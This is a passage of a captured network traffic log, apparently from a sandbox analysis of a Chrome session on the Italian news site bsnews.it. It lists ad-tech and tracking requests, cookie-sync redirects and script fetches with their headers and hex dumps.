zsc=%AE%02%D3%0B%0Bb%FB%E5%E0%3D%CFm%7CN%D3%E2%87%F5d%B0Z%0Aw%1E%19%E9%E6%3E%85%C82%1D%C7%E6_R%D8%3A%26%BA%81%8D%BE%80%3B%8C%F1%F1l%C2%06%B7%BC%1C%3F.%1Bb%AE%A1%96Yl%E3%15%A0%AE%5D%AE%8A%F6V%3AYCg%7F%A1UA%00%C2%C1%8B%C1%87k%08R%7B%E4%D2%14zm%5D%C09%F4%40Gg%C7%1693iw%82%23%A4%D7%D6%19%81c%3A%9FW%F3%08%DEgV%D5V2%7Fd%8A%F1%3B%2C%F9%18%0F%0F%B72L%B0.%B4%B2%95T%D7%87%03%BF%8A%97Ha%C9%D1%60%AB
2024-03-28 08:51:36 UTC	580	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:36 GMT Content-Type: image/png Content-Length: 95 Connection: close access-control-allow-credentials: true access-control-allow-headers: * access-control-allow-origin: https://spl.zeotap.com set-cookie: zc=5b95a3db-1a3a-4c5d-7bc4-805f128d851b; Path=/; Domain=.zeotap.com; Max-Age=31536000; SameSite=None; Secure vary: Origin via: 1.1 google CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=2592000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 86b661175adc1fe2-IAD
2024-03-28 08:51:36 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
491	192.168.2.4	50321	35.244.250.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	540	OUT	GET /01_adform.js HTTP/1.1 Host: js.tncid.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:36 UTC	1009	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ABPtcPpkOgg3wlvvstnUlMGZwg9i_5K5J8FxV7J2a1spiohDDsWuuFascFm1xoa8WLv8bE9OLDVgMSeU_g Date: Thu, 28 Mar 2024 08:51:36 GMT Last-Modified: Mon, 02 May 2022 13:24:43 GMT ETag: W/"266cc9a782a5f23a727cfab802ae1188" Vary: Accept-Encoding x-goog-generation: 1651497883787707 x-goog-metageneration: 1 x-goog-stored-content-encoding: gzip x-goog-stored-content-length: 798 Content-Type: application/javascript x-goog-hash: crc32c=tYBtZg== x-goog-hash: md5=JmzJp4Kl8jpyfPq4Aq4RiA== x-goog-storage-class: STANDARD Access-Control-Allow-Origin: * X-GUploader-Response-Body-Transformations: gunzipped Warning: 214 UploadServer gunzipped Access-Control-Expose-Headers: Content-Length, Date, Server, Transfer-Encoding, Warning, X-GUploader-Response-Body-Transformations, X-GUploader-UploadID, X-Google-Trace Server: UploadServer Cache-Control: public,max-age=3600 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close Transfer-Encoding: chunked
2024-03-28 08:51:36 UTC	1252	IN	Data Raw: 36 39 37 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 28 73 6e 2c 20 61 73 61 70 29 20 7b 0a 09 76 61 72 20 74 6e 63 20 3d 20 74 68 69 73 20 26 26 20 74 68 69 73 2e 61 64 64 54 50 53 63 72 69 70 74 20 3f 20 74 68 69 73 20 3a 20 77 69 6e 64 6f 77 5b 28 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 73 63 72 69 70 74 23 74 6e 63 5f 63 6f 72 65 27 29 20 7c 7c 20 7b 7d 29 2e 67 6c 6f 62 61 6c 20 7c 7c 20 27 5f 5f 74 6e 63 27 5d 3b 0a 09 74 6e 63 20 26 26 20 74 6e 63 2e 61 64 64 54 50 53 63 72 69 70 74 20 3f 20 74 6e 63 2e 61 64 64 54 50 53 63 72 69 70 74 28 73 6e 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 09 09 76 61 72 20 70 72 6f 6d 69 73 65 3b 0a 09 09 74 72 79 20 7b 0a 09 09 09 76 61 72 20 5f 74 68 69 73 20 3d 20 74 68 69 73 0a 09 09 Data Ascii: 697(function (sn, asap) {var tnc = this && this.addTPScript ? this : window[(document.querySelector('script#tnc_core') \|\| {}).global \|\| '__tnc'];tnc && tnc.addTPScript ? tnc.addTPScript(sn, function () {var promise;try {var _this = this
2024-03-28 08:51:36 UTC	442	IN	Data Raw: 73 65 20 3d 20 74 68 69 73 2e 67 65 74 54 43 46 28 49 41 42 56 65 6e 64 6f 72 49 64 29 0a 09 09 09 09 09 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 20 28 74 63 44 61 74 61 29 20 7b 0a 09 09 09 09 09 09 69 66 20 28 74 63 44 61 74 61 2e 74 63 53 74 72 69 6e 67 20 26 26 20 28 74 63 44 61 74 61 2e 76 65 6e 64 6f 72 73 20 7c 7c 20 5b 5d 29 2e 69 6e 63 6c 75 64 65 73 28 49 41 42 56 65 6e 64 6f 72 49 64 29 29 20 7b 0a 09 09 09 09 09 09 09 72 65 74 75 72 6e 20 5f 74 68 69 73 2e 6c 6f 61 64 49 4d 47 28 61 64 66 65 6e 64 70 6f 69 6e 74 2c 20 6f 70 74 69 6f 6e 73 2c 20 62 6f 64 79 29 3b 0a 09 09 09 09 09 09 7d 0a 09 09 09 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 09 09 09 09 09 7d 29 3b 0a 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 70 72 6f 6d 69 73 65 Data Ascii: se = this.getTCF(IABVendorId).then(function (tcData) {if (tcData.tcString && (tcData.vendors \|\| []).includes(IABVendorId)) {return _this.loadIMG(adfendpoint, options, body);}return false;});} else {promise
2024-03-28 08:51:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
492	192.168.2.4	50358	34.96.71.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	651	OUT	GET /s/ix?cm_dsp_id=18&us_privacy=&gdpr=&gdpr_consent=&gpp=&gpp_sid= HTTP/1.1 Host: s.company-target.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:36 UTC	688	IN	HTTP/1.1 302 Found Access-Control-Allow-Methods: GET,OPTIONS Access-Control-Allow-Origin: *.casalemedia.com Content-Type: text/html; charset=utf-8 Location: https://dsum-sec.casalemedia.com/crum?cm_dsp_id=18&expiration=1727513496&external_user_id=0b5b1a55-8255-43a3-bfde-d6fb3db0f96d Set-Cookie: tuuid=0b5b1a55-8255-43a3-bfde-d6fb3db0f96d; Path=/; Domain=company-target.com; Max-Age=63072000; Secure; SameSite=None Set-Cookie: tuuid_lu=1711615896\|ix:0; Path=/; Domain=company-target.com; Max-Age=63072000; Secure; SameSite=None Date: Thu, 28 Mar 2024 08:51:36 GMT Content-Length: 157 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:36 UTC	157	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 73 75 6d 2d 73 65 63 2e 63 61 73 61 6c 65 6d 65 64 69 61 2e 63 6f 6d 2f 63 72 75 6d 3f 63 6d 5f 64 73 70 5f 69 64 3d 31 38 26 61 6d 70 3b 65 78 70 69 72 61 74 69 6f 6e 3d 31 37 32 37 35 31 33 34 39 36 26 61 6d 70 3b 65 78 74 65 72 6e 61 6c 5f 75 73 65 72 5f 69 64 3d 30 62 35 62 31 61 35 35 2d 38 32 35 35 2d 34 33 61 33 2d 62 66 64 65 2d 64 36 66 62 33 64 62 30 66 39 36 64 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://dsum-sec.casalemedia.com/crum?cm_dsp_id=18&expiration=1727513496&external_user_id=0b5b1a55-8255-43a3-bfde-d6fb3db0f96d">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
493	192.168.2.4	50345	40.76.134.238	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	832	OUT	GET /l/FZt5psomz79DGe~O1V5PkX7S8-NVJIdw0INR-k~Duu9c36GyIDyElf4y8fa2~-9InNSq4BCadyu-8tQSiIkaVleT~Yh8GI4ocNSeo4~API4DJEsYNIMg2sPMMXvjcckTUFy53ZYw3gzv35jSAchydRkSr2XFgqe-kzzlKTlv1VT7-TlAc0PcX7nFzbKlHypwbpU3AWUAJgUx%2001F5328A-C4D9-44AD-8468-60A885247C68&rnd=RND HTTP/1.1 Host: us01.z.antigena.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:36 UTC	176	IN	HTTP/1.1 403 Forbidden Server: Microsoft-Azure-Application-Gateway/v2 Date: Thu, 28 Mar 2024 08:51:36 GMT Content-Type: text/html Content-Length: 581 Connection: close
2024-03-28 08:51:36 UTC	581	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 4d 69 63 72 6f 73 6f 66 74 2d 41 7a 75 72 65 2d 41 70 70 6c 69 63 61 74 69 6f 6e 2d 47 61 74 65 77 61 79 2f 76 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>Microsoft-Azure-Application-Gateway/v2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a pa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
494	192.168.2.4	50362	67.202.105.31	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	931	OUT	GET /deb/?m=xch&rt=html&id=0015a00003HljHyAAJ&ru=https%3A%2F%2Fvisitor-us-west-2.omnitagjs.com%2Fvisitor%2Fsync%3Fname%3D33ACROSS%26ttl%3D720%26uid%3D2f9442d7df2189f76c8b593d5f54ce95%26visitor%3D33XUSERID33X%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent= HTTP/1.1 Host: de.tynt.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://visitor.omnitagjs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:36 UTC	859	IN	HTTP/1.1 307 location: https://hde.tynt.com/deb/?m=xch&rt=html&id=0015a00003HljHyAAJ&ru=https%3A%2F%2Fvisitor-us-west-2.omnitagjs.com%2Fvisitor%2Fsync%3Fname%3D33ACROSS%26ttl%3D720%26uid%3D2f9442d7df2189f76c8b593d5f54ce95%26visitor%3D33XUSERID33X%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent=&b=1 cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, false expires: Sat, 26 Jul 1997 05:00:00 GMT accept-ch: Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Model, Sec-CH-UA-Full-Version-List, Sec-CH-UA, Sec-CH-UA-Mobile set-cookie: uid=Vz/bJWYFL5jMu3Zve5QS2Q==;Version=1;Comment=;SameSite=None;Domain=tynt.com;Path=/;Max-Age=31536000;Secure referrer-policy: unsafe-url content-length: 0 date: Thu, 28 Mar 2024 08:51:36 GMT p3p: CP="NOI DSP COR NID PSA PSD OUR IND UNI COM NAV INT DEM STA" connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
495	192.168.2.4	50380	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	847	OUT	GET /w/1.0/sd?id=537072977&val=035fb342-304f-4e3b-b2b9-1e0903ffb19a-66052f91-5553&gdpr=0&gdpr_consent= HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; univ_id=537072971\|a109dc60-dc7c-45e5-ab53-e2448a53420f\|1711615889262557; pd=v2\|1711615884.7\|iKvPvMgakWgy.bwuYhEgKg2f8
2024-03-28 08:51:36 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 28 Mar 2024 08:51:36 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:36 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
496	192.168.2.4	50376	35.244.159.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	873	OUT	GET /w/1.0/pd?plm=5 HTTP/1.1 Host: google-bidout-d.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; univ_id=537072971\|a109dc60-dc7c-45e5-ab53-e2448a53420f\|1711615889262557; pd=v2\|1711615884.7\|iKvPvMgakWgy.bwuYhEgKg2f8
2024-03-28 08:51:36 UTC	650	IN	HTTP/1.1 200 OK Vary: Accept, Accept-Encoding Set-Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; Version=1; Expires=Fri, 28-Mar-2025 08:51:36 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Set-Cookie: pd=v2\|1711615884.7.5\|iKvPvMgakWgy.bwuYhEgKg2f8.wvmmeSwrwI; Version=1; Expires=Fri, 12-Apr-2024 08:51:36 GMT; Max-Age=1296000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Date: Thu, 28 Mar 2024 08:51:36 GMT Content-Type: text/html Content-Length: 745 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:36 UTC	745	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 50 69 78 65 6c 73 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 73 63 72 69 70 74 3e 69 66 28 22 62 72 6f 77 73 69 6e 67 54 6f 70 69 63 73 22 69 6e 20 64 6f 63 75 6d 65 6e 74 26 26 64 6f 63 75 6d 65 6e 74 2e 66 65 61 74 75 72 65 50 6f 6c 69 63 79 2e 61 6c 6c 6f 77 73 46 65 61 74 75 72 65 28 22 62 72 6f 77 73 69 6e 67 2d 74 6f 70 69 63 73 22 29 29 64 6f 63 75 6d 65 6e 74 2e 62 72 6f 77 73 69 6e 67 54 6f 70 69 63 73 28 29 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 69 64 70 69 78 2e 6d 65 64 69 61 36 64 65 67 72 65 65 73 2e 63 6f 6d 2f 6f 72 62 73 65 72 76 2f 68 62 70 69 78 3f 70 69 78 49 64 3d 38 35 36 32 38 36 26 70 63 76 3d 31 Data Ascii: <html><head><title>Pixels</title></head><body><script>if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics"))document.browsingTopics()</script><img src="https://idpix.media6degrees.com/orbserv/hbpix?pixId=856286&pcv=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
497	192.168.2.4	50351	52.85.151.7	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	698	OUT	GET /sync?c=0aa2530f29e4f4a05b5d5d9bb35d60c2&p=93c1662463a616a7155169889dd99651&pid=e1bfda39-3c7f-4f71-8183-1ce9a7296fe5 HTTP/1.1 Host: live.rezync.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:36 UTC	1192	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 967 Connection: close Date: Thu, 28 Mar 2024 08:51:36 GMT Location: https://p.rfihub.com/cm?pub=39342&in=1&userid=2f49afa9-dcad-47fd-b664-21be3df28588%3A1711615896.4470387&forward=https%3A//i.liadm.com/s/56409%3Fbidder_id%3D200442%26bidder_uuid%3D2f49afa9-dcad-47fd-b664-21be3df28588%253A1711615896.4470387%26pid%3D500040%26it%3D1%26iv%3D2f49afa9-dcad-47fd-b664-21be3df28588%253A1711615896.4470387%26_%3D1711615896.4490292&cb=1711615896.44907 Set-Cookie: zync-uuid=2f49afa9-dcad-47fd-b664-21be3df28588:1711615896.4470387; Domain=rezync.com; Expires=Tue, 22 Apr 2025 08:51:36 GMT; Path=/; SameSite=None; Secure Set-Cookie: sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMmY0OWFmYTktZGNhZC00N2ZkLWI2NjQtMjFiZTNkZjI4NTg4OjE3MTE2MTU4OTYuNDQ3MDM4NyJ9.ZgUvmA.utY9Pp16mdHk4QG03gbSgTd-Qms; Expires=Tue, 22 Apr 2025 08:51:36 GMT; HttpOnly; Path=/; SameSite=None; Secure Vary: Cookie Server: lighttpd/1.4.69 X-Cache: Miss from cloudfront Via: 1.1 3dcb635971b5d310e8941cdb963aff70.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD89-C3 X-Amz-Cf-Id: 1-dwMq3PlCFJi5tZnVQqPjRfoi5PuVvIagWRSvKSC6Z-IkuRZlNF_w==
2024-03-28 08:51:36 UTC	967	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 73 68 6f 75 6c 64 20 62 65 20 72 65 64 69 72 65 63 74 65 64 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 74 6f 20 74 68 65 20 74 61 72 67 65 74 20 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 2e 72 66 69 68 75 62 2e 63 6f 6d 2f 63 6d 3f 70 75 62 3d 33 39 33 34 32 26 61 6d 70 3b 69 6e 3d 31 26 61 6d 70 3b 75 73 65 72 69 64 3d 32 66 34 39 61 66 61 39 2d 64 63 61 64 2d 34 37 66 64 2d 62 36 36 34 2d 32 31 62 65 33 64 66 32 38 35 38 38 25 33 41 31 37 31 31 36 31 35 Data Ascii: <!doctype html><html lang=en><title>Redirecting...</title><h1>Redirecting...</h1><p>You should be redirected automatically to the target URL: <a href="https://p.rfihub.com/cm?pub=39342&in=1&userid=2f49afa9-dcad-47fd-b664-21be3df28588%3A1711615

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
498	192.168.2.4	50361	35.71.139.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	661	OUT	GET /xuid?mid=7976&xuid=01F5328A-C4D9-44AD-8468-60A885247C68&dongle=u6nf&gdpr=0&gdpr_consent= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:36 UTC	701	IN	HTTP/1.1 302 Found Date: Thu, 28 Mar 2024 08:51:36 GMT Content-Length: 0 Connection: close Location: /xuid?ld=1&mid=7976&xuid=01F5328A-C4D9-44AD-8468-60A885247C68&dongle=u6nf&gdpr=0&cmp_cs=&us_privacy= Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=2063020233986433592995; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Wed, 26 Jun 2024 08:51:36 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=2063020233986433592995; Max-Age=7776000; Expires=Wed, 26 Jun 2024 08:51:36 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
499	192.168.2.4	50393	35.244.250.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	547	OUT	GET /02_weborama_sync.js HTTP/1.1 Host: js.tncid.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:36 UTC	1002	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ABPtcPoZAlFnnZf-pESFLlzuDqHm3mkyBSvxOVsvIfrzWVCWWhsiVLYuJ0TzfuluHPAYRp0tIDA Date: Thu, 28 Mar 2024 08:51:36 GMT Last-Modified: Mon, 02 May 2022 13:24:43 GMT ETag: W/"a430ae21ba47a19d7c7d5dff634436fd" Vary: Accept-Encoding x-goog-generation: 1651497883803920 x-goog-metageneration: 1 x-goog-stored-content-encoding: gzip x-goog-stored-content-length: 616 Content-Type: application/javascript x-goog-hash: crc32c=R+X0Yw== x-goog-hash: md5=pDCuIbpHoZ18fV3/Y0Q2/Q== x-goog-storage-class: STANDARD Access-Control-Allow-Origin: * X-GUploader-Response-Body-Transformations: gunzipped Warning: 214 UploadServer gunzipped Access-Control-Expose-Headers: Content-Length, Date, Server, Transfer-Encoding, Warning, X-GUploader-Response-Body-Transformations, X-GUploader-UploadID, X-Google-Trace Server: UploadServer Cache-Control: public,max-age=3600 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close Transfer-Encoding: chunked
